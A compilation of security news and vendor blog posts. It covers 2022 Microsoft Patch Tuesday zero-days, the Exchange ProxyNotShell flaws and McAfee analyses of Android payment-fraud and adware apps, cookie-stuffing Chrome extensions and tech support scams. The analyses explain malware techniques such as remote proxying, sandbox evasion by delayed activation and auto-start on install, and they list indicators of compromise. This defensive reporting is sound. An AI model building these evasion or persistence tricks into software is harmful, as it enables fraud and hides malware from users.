Microsoft today released updates to fix at least 85 security holes in its Windows operating systems and related software, including a new zero-day vulnerability in all supported versions of Windows that is being actively exploited. However, noticeably absent from this month’s Patch Tuesday are any updates to address a pair of zero-day flaws being exploited this past month in Microsoft Exchange Server.
The new zero-day flaw– CVE-2022-41033 — is an “elevation of privilege” bug in the Windows COM+ event service, which provides system notifications when users logon or logoff. Microsoft says the flaw is being actively exploited, and that it was reported by an anonymous individual.
“Despite its relatively low score in comparison to other vulnerabilities patched today, this one should be at the top of everyone’s list to quickly patch,” said Kevin Breen, director of cyber threat research at Immersive Labs. “This specific vulnerability is a local privilege escalation, which means that an attacker would already need to have code execution on a host to use this exploit. Privilege escalation vulnerabilities are a common occurrence in almost every security compromise. Attackers will seek to gain SYSTEM or domain-level access in order to disable security tools, grab credentials with tools like Mimkatz and move laterally across the network.
Indeed, Satnam Narang, senior staff research engineer at Tenable, notes that almost half of the security flaws Microsoft patched this week are elevation of privilege bugs.
Some privilege escalation bugs can be particularly scary. One example is CVE-2022-37968, which affects organizations running Kubernetes clusters on Azure and earned a CVSS score of 10.0 — the most severe score possible.
Microsoft says that to exploit this vulnerability an attacker would need to know the randomly generated DNS endpoint for an Azure Arc-enabled Kubernetes cluster. But that may not be such a tall order, says Breen, who notes that a number of free and commercial DNS discovery services now make it easy to find this information on potential targets.
Late last month, Microsoft acknowledged that attackers were exploiting two previously unknown vulnerabilities in Exchange Server. Paired together, the two flaws are known as “ProxyNotShell” and they can be chained to allow remote code execution on Exchange Server systems.
Microsoft said it was expediting work on official patches for the Exchange bugs, and it urged affected customers to enable certain settings to mitigate the threat from the attacks. However, those mitigation steps were soon shown to be ineffective, and Microsoft has been adjusting them on a daily basis nearly each day since then.
The lack of Exchange patches leaves a lot of Microsoft customers exposed. Security firm Rapid7 said that as of early September 2022 the company observed more than 190,000 potentially vulnerable instances of Exchange Server exposed to the Internet.
“While Microsoft confirmed the zero-days and issued guidance faster than they have in the past, there are still no patches nearly two weeks out from initial disclosure,” said Caitlin Condon, senior manager of vulnerability research at Rapid7. “Despite high hopes that today’s Patch Tuesday release would contain fixes for the vulnerabilities, Exchange Server is conspicuously missing from the initial list of October 2022 security updates. Microsoft’s recommended rule for blocking known attack patterns has been bypassed multiple times, emphasizing the necessity of a true fix.”
Adobe also released security updates to fix 29 vulnerabilities across a variety of products, including Acrobat and Reader, ColdFusion, Commerce and Magento. Adobe said it is not aware of active attacks against any of these flaws.
For a closer look at the patches released by Microsoft today and indexed by severity and other metrics, check out the always-useful Patch Tuesday roundup from the SANS Internet Storm Center. And it’s not a bad idea to hold off updating for a few days until Microsoft works out any kinks in the updates: AskWoody.com usually has the lowdown on any patches that may be causing problems for Windows users.
As always, please consider backing up your system or at least your important documents and data before applying system updates. And if you run into any problems with these updates, please drop a note about it here in the comments.
Microsoft Corp. is investigating reports that attackers are exploiting two previously unknown vulnerabilities in Exchange Server, a technology many organizations rely on to send and receive email. Microsoft says it is expediting work on software patches to plug the security holes. In the meantime, it is urging a subset of Exchange customers to enable a setting that could help mitigate ongoing attacks.
In customer guidance released Thursday, Microsoft said it is investigating two reported zero-day flaws affecting Microsoft Exchange Server 2013, 2016, and 2019. CVE-2022-41040, is a Server-Side Request Forgery (SSRF) vulnerability that can enable an authenticated attacker to remotely trigger the second zero-day vulnerability — CVE-2022-41082 — which allows remote code execution (RCE) when PowerShell is accessible to the attacker.
Microsoft said Exchange Online has detections and mitigation in place to protect customers. Customers using on-premises Microsoft Exchange servers are urged to review the mitigations suggested in the security advisory, which Microsoft says should block the known attack patterns.
Vietnamese security firm GTSC on Thursday published a writeup on the two Exchange zero-day flaws, saying it first observed the attacks in early August being used to drop “webshells.” These web-based backdoors offer attackers an easy-to-use, password-protected hacking tool that can be accessed over the Internet from any browser.
“We detected webshells, mostly obfuscated, being dropped to Exchange servers,” GTSC wrote. “Using the user-agent, we detected that the attacker uses Antsword, an active Chinese-based opensource cross-platform website administration tool that supports webshell management. We suspect that these come from a Chinese attack group because the webshell codepage is 936, which is a Microsoft character encoding for simplified Chinese.”
GTSC’s advisory includes details about post-compromise activity and related malware, as well as steps it took to help customers respond to active compromises of their Exchange Server environment. But the company said it would withhold more technical details of the vulnerabilities for now.
In March 2021, hundreds of thousands of organizations worldwide had their email stolen and multiple backdoor webshells installed, all thanks to four zero-day vulnerabilities in Exchange Server.
Granted, the zero-day flaws that powered that debacle were far more critical than the two detailed this week, and there are no signs yet that exploit code has been publicly released (that will likely change soon). But part of what made last year’s Exchange Server mass hack so pervasive was that vulnerable organizations had little or no advance notice on what to look for before their Exchange Server environments were completely owned by multiple attackers.
Microsoft is quick to point out that these zero-day flaws require an attacker to have a valid username and password for an Exchange user, but this may not be such a tall order for the hackers behind these latest exploits against Exchange Server.
Steven Adair is president of Volexity, the Virginia-based cybersecurity firm that was among the first to sound the alarm about the Exchange zero-days targeted in the 2021 mass hack. Adair said GTSC’s writeup includes an Internet address used by the attackers that Volexity has tied with high confidence to a China-based hacking group that has recently been observed phishing Exchange users for their credentials.
In February 2022, Volexity warned that this same Chinese hacking group was behind the mass exploitation of a zero-day vulnerability in the Zimbra Collaboration Suite, which is a competitor to Microsoft Exchange that many enterprises use to manage email and other forms of messaging.
If your organization runs Exchange Server, please consider reviewing the Microsoft mitigations and the GTSC post-mortem on their investigations.
Authored by SangRyol Ryu and Yukihiro Okutomi
McAfee’s Mobile Research team recently analyzed new malware targeting NTT DOCOMO users in Japan. The malware which was distributed on the Google Play store pretends to be a legitimate mobile security app, but it is in fact a payment fraud malware stealing passwords and abusing reverse proxy targeting NTT DOCOMO mobile payment service users. McAfee researchers notified Google of the malicious apps, スマホ安心セキュリティ, or ‘Smartphone Anshin Security’, package name ‘com.z.cloud.px.app’ and ‘com.z.px.appx’. The applications are no longer available on Google Play. Google Play Protect has also taken steps to protect users by disabling the apps and providing a warning. McAfee Mobile Security products detect this threat as Android/ProxySpy and protect you from malware. For more information, to get fully protected, visit McAfee Mobile Security.
The malware actor continues to publish malicious apps on the Google Play Store with various developer accounts. According to the information posted on Twitter by Yusuke Osumi, Security Researcher at Yahoo! Japan, the attacker sends SMS messages from overseas with a Google Play link to lure users to install the malware. To attract more users, the message entices users to update security software.
A SMS message from France (from Twitter post by Yusuke)
Malware on Google Play
The Mobile Research team also found that the malware actor uses Google Drive to distribute the malware. In contrast to installing an application after downloading an APK file, Google Drive allows users to install APK files without leaving any footprint and makes the installation process simpler. Once the user clicks the link, there are only a few more touches required to run the application. Only three clicks are enough if users have previously allowed the installation of unknown apps on Google Drive.
Following notification from McAfee researchers, Google has removed known Google Drive files associated with the malware hashes listed in this blog post.
When an NTT DOCOMO network user installs and launches this malware, it asks for the Network password. Cleverly, the malware shows incorrect password messages to collect more precise passwords. Of course, it does not matter whether the password is correct or not. It is a way of getting the Network password.
The Network password is used for the NTT DOCOMO payment service which provides easy online payments. NTT DOCOMO mobile network users can start this payment service by just setting 4-digits password called a Network password. The charge will be paid along with the mobile phone bill. When you need to pay online, you can simply do the payment process by entering the 4-digits password.
After the password activity, the malware shows a fake mobile security screen. Interestingly, the layout of the activity is similar to our old McAfee Mobile Security. All buttons look genuine, but these are all fake.
There is a native library named ‘libmyapp.so’ loaded during the app execution written in Golang. The library, when loaded, tries to connect to the C2 server using a Web Socket. Web Application Messaging Protocol (WAMP) is used to communicate and process Remote Procedure Calls (RPC). When the connection is made, the malware sends out network information along with the phone number. Then, it registers the client’s procedure commands described in the table below. The web socket connection is kept alive and takes the corresponding action when the command is received from the server like an Agent. And the socket is used to send the Network password out to the attacker when the user enters the Network password on the activity.
RPC Function name | Description |
connect_to | Create reverse proxy and connect to remote server |
disconnect | Disconnect the reverse proxy |
get_status | Send the reverse proxy status |
get_info | Send line number, connection type, operator, and so on |
toggle_wifi | Set the Wi-Fi ON/OFF |
show_battery_opt | Show dialog to exclude battery optimization for background work |
Registered RPC functions description
To make a fraudulent purchase by using leaked information, the attacker needs to use the victim’s mobile network. The RPC command ‘toggle_wifi’ can switch the Wi-Fi connection status of the victim, and ‘connect_to’ will provide a reverse proxy to the attacker. A reverse proxy can allow connecting the host behind a NAT (Network Address Translation) or a firewall. Via the proxy, the attacker can send purchase requests via the victim’s mobile network.
It is interesting that the malware uses a reverse proxy to steal the user’s network and implement an Agent service with WAMP. McAfee Mobile Research Team will continue to find this kind of threat and protect our customers from mobile threats. It is recommended to be more careful when entering a password or confidential information into untrusted applications.
193[.]239[.]154[.]23
91[.]204[.]227[.]132
ruboq[.]com
SHA256 | Package Name | Distribution |
5d29dd12faaafd40300752c584ee3c072d6fc9a7a98a357a145701aaa85950dd | com.z.cloud.px.app | Google Play |
e133be729128ed6764471ee7d7c36f2ccb70edf789286cc3a834e689432fc9b0 | com.z.cloud.px.app | Other |
e7948392903e4c8762771f12e2d6693bf3e2e091a0fc88e91b177a58614fef02 | com.z.px.appx | Google Play |
3971309ce4a3cfb3cdbf8abde19d46586f6e4d5fc9f54c562428b0e0428325ad | com.z.cloud.px.app2 | Other |
2ec2fb9e20b99f60a30aaa630b393d8277949c34043ebe994dd0ffc7176904a4 | com.jg.rc.papp | Google Drive |
af0d2e5e2994a3edd87f6d0b9b9a85fb1c41d33edfd552fcc64b43c713cdd956 | com.de.rc.seee | Google Drive |
The post Fake Security App Found Abuses Japanese Payment System appeared first on McAfee Blog.
This month’s Patch Tuesday offers a little something for everyone, including security updates for a zero-day flaw in Microsoft Windows that is under active attack, and another Windows weakness experts say could be used to power a fast-spreading computer worm. Also, Apple has also quashed a pair of zero-day bugs affecting certain macOS and iOS users, and released iOS 16, which offers a new privacy and security feature called “Lockdown Mode.” And Adobe axed 63 vulnerabilities in a range of products.
Microsoft today released software patches to plug at least 64 security holes in Windows and related products. Worst in terms of outright scariness is CVE-2022-37969, which is a “privilege escalation” weakness in the Windows Common Log File System Driver that allows attackers to gain SYSTEM-level privileges on a vulnerable host. Microsoft says this flaw is already being exploited in the wild.
Kevin Breen, director of cyber threat research at Immersive Labs, said any vulnerability that is actively targeted by attackers in the wild must be put to the top of any patching list.
“Not to be fooled by its relatively low CVSS score of 7.8, privilege escalation vulnerabilities are often highly sought after by cyber attackers,” Breen said. “Once an attacker has managed to gain a foothold on a victim’s system, one of their first actions will be to gain a higher level of permissions, allowing the attacker to disable security applications and any device monitoring. There is no known workaround to date, so patching is the only effective mitigation.”
Satnam Narang at Tenable said CVE-2022-24521 — a similar vulnerability in the same Windows log file component — was patched earlier this year as part of Microsoft’s April Patch Tuesday release and was also exploited in the wild.
“CVE-2022-37969 was disclosed by several groups, though it’s unclear if CVE-2022-37969 is a patch-bypass for CVE-2022-24521 at this point,” Narang said.
Another vulnerability Microsoft patched this month — CVE-2022-35803 — also seems to be related to the same Windows log file component. While there are no indications CVE-2022-35803 is being actively exploited, Microsoft suggests that exploitation of this flaw is more likely than not.
Trend Micro’s Dustin Childs called attention to CVE-2022-34718, a remote code execution flaw in the Windows TCP/IP service that could allow an unauthenticated attacker to execute code with elevated privileges on affected systems without user interaction.
“That officially puts it into the ‘wormable’ category and earns it a CVSS rating of 9.8,” Childs said. “However, only systems with IPv6 enabled and IPSec configured are vulnerable. While good news for some, if you’re using IPv6 (as many are), you’re probably running IPSec as well. Definitely test and deploy this update quickly.”
Cisco Talos warns about four critical vulnerabilities fixed this month — CVE-2022-34721 and CVE-2022-34722 — which have severity scores of 9.8, though they are “less likely” to be exploited, according to Microsoft.
“These are remote code execution vulnerabilities in the Windows Internet Key Exchange protocol that could be triggered if an attacker sends a specially crafted IP packet,” wrote Jon Munshaw and Asheer Malhotra. “Two other critical vulnerabilities, CVE-2022-35805 and CVE-2022-34700 exist in on-premises instances of Microsoft Dynamics 365. An authenticated attacker could exploit these vulnerabilities to run a specially crafted trusted solution package and execute arbitrary SQL commands. The attacker could escalate their privileges further and execute commands as the database owner.”
Not to be outdone, Apple fixed at least two zero-day vulnerabilities when it released updates for iOS, iPadOS, macOS and Safari. CVE-2022-32984 is a problem in the deepest recesses of the operating system (the kernel). Apple pushed an emergency update for a related zero-day last month in CVE-2022-32983, which could be used to foist malware on iPhones, iPads and Macs that visited a booby-trapped website.
Also listed under active attack is CVE-2022-32817, which has been fixed on macOS 12.6 (Monterey), macOS 11.7 (Big Sur), iOS 15.7 and iPadOS 15.7, and iOS 16. The same vulnerability was fixed in Apple Watch in July 2022, and credits Xinru Chi of Japanese cybersecurity firm Pangu Lab.
“Interestingly, this CVE is also listed in the advisory for iOS 16, but it is not called out as being under active exploit for that flavor of the OS,” Trend Micro’s Childs noted. “Apple does state in its iOS 16 advisory that ‘Additional CVE entries to be added soon.’ It’s possible other bugs could also impact this version of the OS. Either way, it’s time to update your Apple devices.”
Apple’s iOS 16 includes two new security and privacy features — Lockdown Mode and Safety Check. Wired.com describes Safety Check as a feature for users who are at risk for, or currently experiencing, domestic abuse.
“The tool centralizes a number of controls in one place to make it easier for users to manage and revoke access to their location data and reset privacy-related permissions,” wrote Lily Hay Newman.
“Lockdown Mode, on the other hand, is meant for users who potentially face targeted spyware attacks and aggressive state-backed hacking. The feature comprehensively restricts any nonessential iOS features so there are as few potential points of entry to a device as possible. As more governments and repressive entities around the world have begun purchasing powerful commodity spyware to target individuals of particular importance or interest, iOS’s general security defenses haven’t been able to keep pace with these specialized threats.”
To turn on Lockdown Mode in iOS 16, go to Settings, then Privacy and Security, then Lockdown Mode. Safety Check is located in the same area.
Finally, Adobe released seven patches addressing 63 security holes in Adobe Experience Manager, Bridge, InDesign, Photoshop, InCopy, Animate, and Illustrator. More on those updates is here.
Don’t forget to back up your data and/or system before applying any security updates. If you experience glitches or problems installing any of these patches this month, please consider leaving a comment about it below; there’s a decent chance other readers have experienced the same and may chime in here with useful tips.
Authored by Oliver Devane and Vallabh Chole
September 9, 2022 Update: Since the original publication of this blog on August 29, 2022, the Flipshope browser extension was updated in the Chrome Store on September 6, 2022 with a version that no longer contains the potentially harmful features originally discussed in this blog.
September 30, 2022 Update: Since the original publication of this blog on August 29, 2022, the AutoBuy browser extension was updated in the Chrome Store on September 17, 2022 with a version that no longer contains the potentially harmful features originally discussed in this blog.
A few months ago, we blogged about malicious extensions redirecting users to phishing sites and inserting affiliate IDs into cookies of eCommerce sites. Since that time, we have investigated several other malicious extensions and discovered 5 extensions with a total install base of over 1,400,000
The extensions offer various functions such as enabling users to watch Netflix shows together, website coupons, and taking screenshots of a website. The latter borrows several phrases from another popular extension called GoFullPage
Apart from offering the intended functionality, the extensions also track the user’s browsing activity. Every website visited is sent to servers owned by the extension creator. They do this so that they can insert code into eCommerce websites being visited. This action modifies the cookies on the site so that the extension authors receive affiliate payment for any items purchased.
The users of the extensions are unaware of this functionality and the privacy risk of every site being visited being sent to the servers of the extension authors.
The 5 extensions are
Name | Extension ID | Users |
Netflix Party | mmnbenehknklpbendgmgngeaignppnbe | 800,000 |
Netflix Party 2 |
flijfnhifgdcbhglkneplegafminjnhn | 300,000 |
FlipShope – Price Tracker Extension
|
adikhbfjdbjkhelbdnffogkobkekkkej | 80,000 |
Full Page Screenshot Capture – Screenshotting
|
pojgkmkfincpdkdgjepkmdekcahmckjp | 200,000 |
AutoBuy Flash Sales | gbnahglfafmhaehbdmjedfhdmimjcbed | 20,000 |
This section contains the technical analysis of the malicious chrome extension ‘mmnbenehknklpbendgmgngeaignppnbe’. All 5 extensions perform similar behavior.
The manifest.json sets the background page as bg.html. This HTML file loads b0.js and this is responsible for sending the URL being visited and injecting code into the eCommerce sites.
The b0.js script contains many functions. This blog will focus on the functions which are responsible for sending the visited URLs to the server and processing the response.
Chrome extensions work by subscribing to events which they then use as triggers to perform a certain activity. The extensions analyzed subscribe to events coming from chrome.tabs.onUpdated. chrome.tabs.onUpdated will trigger when a user navigates to a new URL within a tab.
Once this event triggers, the extension will set a variable called curl with the URL of the tab by using the tab.url variable. It creates several other variables which are then sent to d.langhort.com. The POST data is in the following format:
Variable | Description |
Ref | Base64 encoded referral URL |
County | The county of the device |
City | The city of the device |
Zip | The zip code of the device |
Apisend | A random ID generated for the user. |
Name | Base64 encoded URL being visited |
ext_name | The name of the chrome extensions |
The random ID is created by selecting 8 random characters in a character set. The code is shown below:
The country, city, and zip are gathered using ip-api.com. The code is shown below:
Upon receiving the URL, langhort.com will check if it matches a list of websites that it has an affiliate ID for, and If it does, it will respond to the query. An example of this is shown below:
The data returned is in JSON format. The response is checked using the function below and will invoke further functions depending on what the response contains.
Two of the functions are detailed below:
If the result is ‘c’ such as the one in this blog, the extension will query the returned URL. It will then check the response and if the status is 200 or 404, it will check if the query responded with a URL. If it did, it would insert the URL that is received from the server as an Iframe on the website being visited.
If the result is ‘e’, the extension would insert the result as a cookie. We were unable to find a response of ‘e’ during our analysis, but this would enable the authors to add any cookie to any website as the extensions had the correct ‘cookie’ permissions.
The images below show the step-by-step flow of events while navigating to the BestBuy website.
Here is a video of the events
We discovered an interesting trick in a few of the extensions that would prevent malicious activity from being identified in automated analysis environments. They contained a time check before they would perform any malicious activity. This was done by checking if the current date is > 15 days from the time of installation.
This blog highlights the risk of installing extensions, even those that have a large install base as they can still contain malicious code.
McAfee advises its customers to be cautious when installing Chrome extensions and pay attention to the permissions that they are requesting.
The permissions will be shown by Chrome before the installation of the extension. Customers should take extra steps to verify the authenticity if the extension is requesting permissions that enable it to run on every website you visit such as the one detailed in this blog
McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee WebAdvisor as shown below.
The Malicious code within the extension is detected as JTI/Suspect. Please perform a ‘Full’ scan via the product.
Type | Value | Product | Detected |
Chrome Extension | Netflix Party – mmnbenehknklpbendgmgngeaignppnbe | Total Protection and LiveSafe | JTI/Suspect |
Chrome Extension | FlipShope – Price Tracker Extension – Version 3.0.7.0 – adikhbfjdbjkhelbdnffogkobkekkkej | Total Protection and LiveSafe | JTI/Suspect |
Chrome Extension |
Full Page Screenshot Capture
pojgkmkfincpdkdgjepkmdekcahmckjp |
Total Protection and LiveSafe | JTI/Suspect |
Chrome Extension | Netflix Party 2 – flijfnhifgdcbhglkneplegafminjnhn | Total Protection and LiveSafe | JTI/Suspect |
Chrome Extension | AutoBuy Flash Sales gbnahglfafmhaehbdmjedfhdmimjcbed | Total Protection and LiveSafe | JTI/Suspect |
URL | www.netflixparty1.com | McAfee WebAdvisor | Blocked |
URL | netflixpartyplus.com | McAfee WebAdvisor | Blocked |
URL | goscreenshotting.com | McAfee WebAdvisor | Blocked |
URL | langhort.com | McAfee WebAdvisor | Blocked |
URL | Unscart.in | McAfee WebAdvisor | Blocked |
URL | autobuyapp.com | McAfee WebAdvisor | Blocked |
The post Malicious Cookie Stuffing Chrome Extensions with 1.4 Million Users appeared first on McAfee Blog.
Microsoft today released updates to fix a record 141 security vulnerabilities in its Windows operating systems and related software. Once again, Microsoft is patching a zero-day vulnerability in the Microsoft Support Diagnostics Tool (MSDT), a service built into Windows. Redmond also addressed multiple flaws in Exchange Server — including one that was disclosed publicly prior to today — and it is urging organizations that use Exchange for email to update as soon as possible and to enable additional protections.
In June, Microsoft patched a vulnerability in MSDT dubbed “Follina” that had been used in active attacks for at least three months prior. This latest MSDT bug — CVE-2022-34713 — is a remote code execution flaw that requires convincing a target to open a booby-trapped file, such as an Office document. Microsoft this month also issued a different patch for another MSDT flaw, tagged as CVE-2022-35743.
The publicly disclosed Exchange flaw is CVE-2022-30134, which is an information disclosure weakness. Microsoft also released fixes for three other Exchange flaws that rated a “critical” label, meaning they could be exploited remotely to compromise the system and with no help from users. Microsoft says addressing some of the Exchange vulnerabilities fixed this month requires administrators to enable Windows Extended protection on Exchange Servers. See Microsoft’s blog post on the Exchange Server updates for more details.
“If your organization runs local exchange servers, this trio of CVEs warrant an urgent patch,” said Kevin Breen, director of cyber threat research for Immerse Labs. “Exchanges can be treasure troves of information, making them valuable targets for attackers. With CVE-2022-24477, for example, an attacker can gain initial access to a user’s host and could take over the mailboxes for all exchange users, sending and reading emails and documents. For attackers focused on Business Email Compromise this kind of vulnerability can be extremely damaging.”
The other two critical Exchange bugs are tracked as CVE-2022-24516 and CVE-2022-21980. It’s difficult to believe it’s only been a little more than a year since malicious hackers worldwide pounced in a bevy of zero-day Exchange vulnerabilities to remotely compromise the email systems for hundreds of thousands of organizations running Exchange Server locally for email. That lingering catastrophe is reminder enough that critical Exchange bugs deserve immediate attention.
The SANS Internet Storm Center‘s rundown on Patch Tuesday warns that a critical remote code execution bug in the Windows Point-to-Point Protocol (CVE-2022-30133) could become “wormable” — a threat capable of spreading across a network without any user interaction.
“Another critical vulnerability worth mentioning is an elevation of privilege affecting Active Directory Domain Services (CVE-2022-34691),” SANS wrote. “According to the advisory, ‘An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege to System.’ A system is vulnerable only if Active Directory Certificate Services is running on the domain. The CVSS for this vulnerability is 8.8.”
Breen highlighted a set of four vulnerabilities in Visual Studio that earned Microsoft’s less-dire “important” rating but that nevertheless could be vitally important for the security of developer systems.
“Developers are empowered with access to API keys and deployment pipelines that, if compromised, could be significantly damaging to organizations,” he said. “So it’s no surprise they are often targeted by more advanced attackers. Patches for their tools should not be overlooked. We’re seeing a continued trend of supply-chain compromise too, making it vital that we ensure developers, and their tools, are kept up-to-date with the same rigor we apply to standard updates.”
Greg Wiseman, product manager at Rapid7, pointed to an interesting bug Microsoft patched in Windows Hello, the biometric authentication mechanism for Windows 10. Microsoft notes that the successful exploitation of the weakness requires physical access to the target device, but would allow an attacker to bypass a facial recognition check.
Wiseman said despite the record number of vulnerability fixes from Redmond this month, the numbers are slightly less dire.
“20 CVEs affect their Chromium-based Edge browser and 34 affect Azure Site Recovery (up from 32 CVEs affecting that product last month),” Wiseman wrote. “As usual, OS-level updates will address a lot of these, but note that some extra configuration is required to fully protect Exchange Server this month.”
As it often does on Patch Tuesday, Adobe has also released security updates for many of its products, including Acrobat and Reader, Adobe Commerce and Magento Open Source. More details here.
Please consider backing up your system or at least your important documents and data before applying system updates. And if you run into any problems with these updates, please drop a note about it here in the comments.
Authored by Oliver Devane
Technical Support Scams have been targeting computer users for many years. Their goal is to make victims believe they have issues needing to be fixed, and then charge exorbitant fees, which unfortunately some victims pay. This blog post covers a number of example actions, that scammers will go through when they are performing their scams. Our goal is to educate consumers on the signs to look out for, and what to do if they believe they are being scammed.
For a tech support scammer to reach their victims, they need to first find them (or be found by them). One technique we see includes scammers creating Twitter or other social media accounts that post messages claiming to be from the official technical support site. For example, a Twitter account will post a tweet with the hashtags #McAfee and #McAfeeLogin to drive traffic to the tweet and make victims believe the links are legitimate and safe to click.
Scammers behind tech support scams can create very convincing websites which mimic the official ones.
Some fraudulent websites use the McAfee logo or other company logos to try trick individuals. They often invite clicking on a ‘LOGIN’ or ‘ACTIVATE’ link with a similar color scheme to official sites to appear legitimate.
These sites may then ask the victim to enter their real username, password, and phone number. Upon entering these details, websites will usually show an error message to make the victim believe there is an issue with their account.
The error message will usually contain a link that upon clicking will load a chat box where the scammers will initiate a conversation with the victim. At this point, the scammers will have the phone number and email address associated with the victim. They will use this to contact them and make them believe they are an official technical support employee.
The scammer’s next objective is often to gain access to the victim’s computer. They do this so that they can trick the victim into believing there is an issue with their computer and that they need their support services to fix it.
The scammers will do this by either asking the victim to enter a URL that will result in the download of a remote access tool or by providing them with a link in the chat window if they are still speaking to them on the fake support website.
A remote access tool will enable the scammer to take complete control of the victim’s machine. With this, they will be able to remove or install software, access personal data such as documents and cryptocurrency wallets as well as dump passwords from the web browsers so they can then access all the victim’s accounts.
It is vital to not provide remote access to your computer to unknown and unverified individuals, as there could be a big risk to your personal data. Some examples of remote access tools that have legitimate uses but are often used to perpetrate fraud are:
If the scammers are given access to the victim’s machine, they will often make use of the command filename cmd.exe to perform some visual activity on the computer screen which is done to attempt to trick the individual into believing that some malicious activity is occurring on their computer or network. Most people will be unaware of the filename cmd.exe and the actions being used,and thus will be none the wiser to the scammer’s actions.
Here are some examples we have seen scammers use:
Changing the title of cmd.exe to ‘network scanner’ or ‘file scanner’ to make the victim believe they are running a security tool on their machine.
Scammers will make use of standard functions within the cmd.exe file, to make their victims believe they are performing lots of activity. One of these functions is ‘dir’ which will display all the files for a specific directory. For example, if you have a folder called ‘school work’ and have 2 word documents in there, a ‘dir’ query of that folder will appear like this:
What the scammers will do is make use of ‘dir’ and the title function to make you believe they are scanning your machine. Here is an example of running ‘dir’ on the all the files on a machine with the cmd.exe title set to ‘File Scanner’:
A similar function to ‘dir’ called ‘tree’ may also be used. The ‘tree’ function will display directory paths and will generate lots of events on the screen:
Some scammers will also add their phone number to the taskbar of the victim’s machine. They do this by creating a new folder with the phone number as the name and adding it as a toolbar. This is shown in the image below
Scammers may install other software on the victim’s machine or make them believe that they have installed additional software which they will then be charged for.
For example, some scammers may add programs to the desktop of victims which have no purpose, but the scammers insist they are legitimate security tools such as firewalls or network scanners.
Some example filenames are:
The scammers will usually perform some activity on your machine before asking for payment. This is done to build confidence in their work and make you believe they have done some activity and therefore deserve some sort of payment. Do not be fooled by scammers who have not performed any useful activity. As detailed in the previous sections, be careful not to fall victim to fake social media accounts or websites.
This section contains a few signs to look out for which may indicate that you are interacting with a scammer.
Some scammers will become rude and very short with you if you start questioning what they are doing. They may say that you are not technical and do not understand what is occurring. This would not be the behavior of a legitimate technical support operative.
Scammers will encourage you to leave the machine and remote connection on even if you need to go out and leave it unattended. Do not under any circumstances do this as they would then be free to do any activity they wish on your machine and network.
Some files added to your machine by the scammer may be detected by the AV security software. They may act like this is an error and the file is innocent. If you have initiated a remote connection and the controller creates a file on your machine which is detected by the security software, we recommend ceasing the interaction as detailed below.
The following steps should be performed if you believe you are being scammed as part of a tech support scam.
If the machine is connected via a network cable, the easiest way is to unplug it. If the machine is connected via Wi-Fi, there may be a physical switch that can be used to disconnect it. If there is no physical switch, turn off Wi-Fi through the settings or the computer. It can be powered down by pressing the power button.
Hang up the phone (or end the chat) and do not answer any more calls from that number. The scammer will try to make you believe that the call is legitimate and ask you to reconnect the remote-control software.
If the scammer was controlling your machine, the remote-control software will need to be removed. If the computer was powered down, it can be powered back up, but if a popup is shown asking for permission to allow remote access, do not grant it.
The remote software can usually be removed by using the control panel and add/remove programs. To do this, press the Windows key and then perform a search for ‘remove’ and click on ‘Add or remove programs’.
Sort the programs by install date as shown below and then remove the remote software by clicking on the ‘Uninstall’ button. Keep in mind that the software installed on your computer may appear by a different name, but if you look at what was installed on the same day as the scammer initiated the remote control session, you should be able to identify it.
Some scammers may add exclusions for the files they create on your computer so that they are not detected by the security software. We recommend checking the exclusions and if any are present which were not added by yourself to remove them.
A guide for McAfee customers is available here
After removing any software which was installed, we recommend updating your security software and performing a full scan. This will identify any malicious files created by the scammer such as password stealers and keyloggers.
After performing a full scan, we recommend changing all of your passwords as the scammer may have gathered your credentials while they had access to your computer. It is recommended to do this after performing a full scan as the scammers may have placed a password stealer on the computer and any new passwords you enter may also be stolen.
This blog post contains a number of examples that scammers may use to trick consumers into believing that they may have issues with their devices. If you are experiencing issues with your computer and want to speak to official McAfee support, please reach out via the official channel which is https://service.mcafee.com/.
The McAfee support pages can also be accessed directly via the McAfee Total Protection screen as shown below:
McAfee customers utilizing web protection (including McAfee Web Advisor) are protected from known malicious sites.
The post Technical Support Scams – What to look out for appeared first on McAfee Blog.
Authored by Dexter Shin
McAfee’s Mobile Research Team has identified new malware on the Google Play Store. Most of them are disguising themselves as cleaner apps that delete junk files or help optimize their batteries for device management. However, this malware hides and continuously show advertisements to victims. In addition, they run malicious services automatically upon installation without executing the app.
They exist on Google Play even though they have malicious activities, so the victim can search for the following apps to optimize their device.
Users may generally think installing the app without executing it is safe. But you may have to change your mind because of this malware. When you install this malware on your device, it is executed without interaction and executes a malicious service.
In addition, they try to hide themselves to prevent users from noticing and deleting apps. Change their icon to a Google Play icon that users are familiar with and change its name to ‘Google Play’ or ‘Setting.’
Automatically executed services constantly display advertisements to victims in a variety of ways.
These services also induce users to run an app when they install, uninstall, or update apps on their devices.
To promote these apps to new users, the malware authors created advertising pages on Facebook. Because it is the link to Google Play distributed through legitimate social media, users will download it without a doubt.
This malware uses the Contact Provider. The Contact Provider is the source of data you see in the device’s contacts application, and you can also access its data in your own application and transfer data between the device and online services. For this, Google provides ContactsContract class. ContactsContract is the contract between the Contacts Provider and applications. In ContactsContract, there is a class called Directory. A Directory represents a contacts corpus and is implemented as a Content Provider with its unique authority. So, developers can use it if they want to implement a custom directory. The Contact Provider can recognize that the app is using a custom directory by checking special metadata in the manifest file.
The important thing is the Contact Provider automatically interrogates newly installed or replaced packages. Thus, installing a package containing special metadata will always call the Contact Provider automatically.
The first activity defined in the application tag in the manifest file is executed as soon as you install it just by declaring the metadata. The first activity of this malware will create a permanent malicious service for displaying advertisements.
In addition, the service process will generate immediately even if it is forced to kill.
Next, they change their icons and names using the <activity-alias> tag to hide.
It is confirmed that users have already installed these apps from 100K to 1M+. Considering that the malware works when it is installed, the installed number is reflected as the victim’s number. According to McAfee telemetry data, this malware and its variants affect a wide range of countries, including South Korea, Japan, and Brazil:
This malware is auto-starting malware, so as soon as the users download it from Google Play, they are infected immediately. And it is still constantly developing variants that are published by different developer accounts. Therefore, it is not easy for users to notice this type of malware.
We already disclosed this threat to Google and all reported applications were removed from the Play Store. Also, McAfee Mobile Security detects this threat as Android/HiddenAds and protects you from this type of malware. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com
App Name | Package Name | Downloads |
Junk Cleaner | cn.junk.clean.plp | 1M+ |
EasyCleaner | com.easy.clean.ipz | 100K+ |
Power Doctor | com.power.doctor.mnb | 500K+ |
Super Clean | com.super.clean.zaz | 500K+ |
Full Clean -Clean Cache | org.stemp.fll.clean | 1M+ |
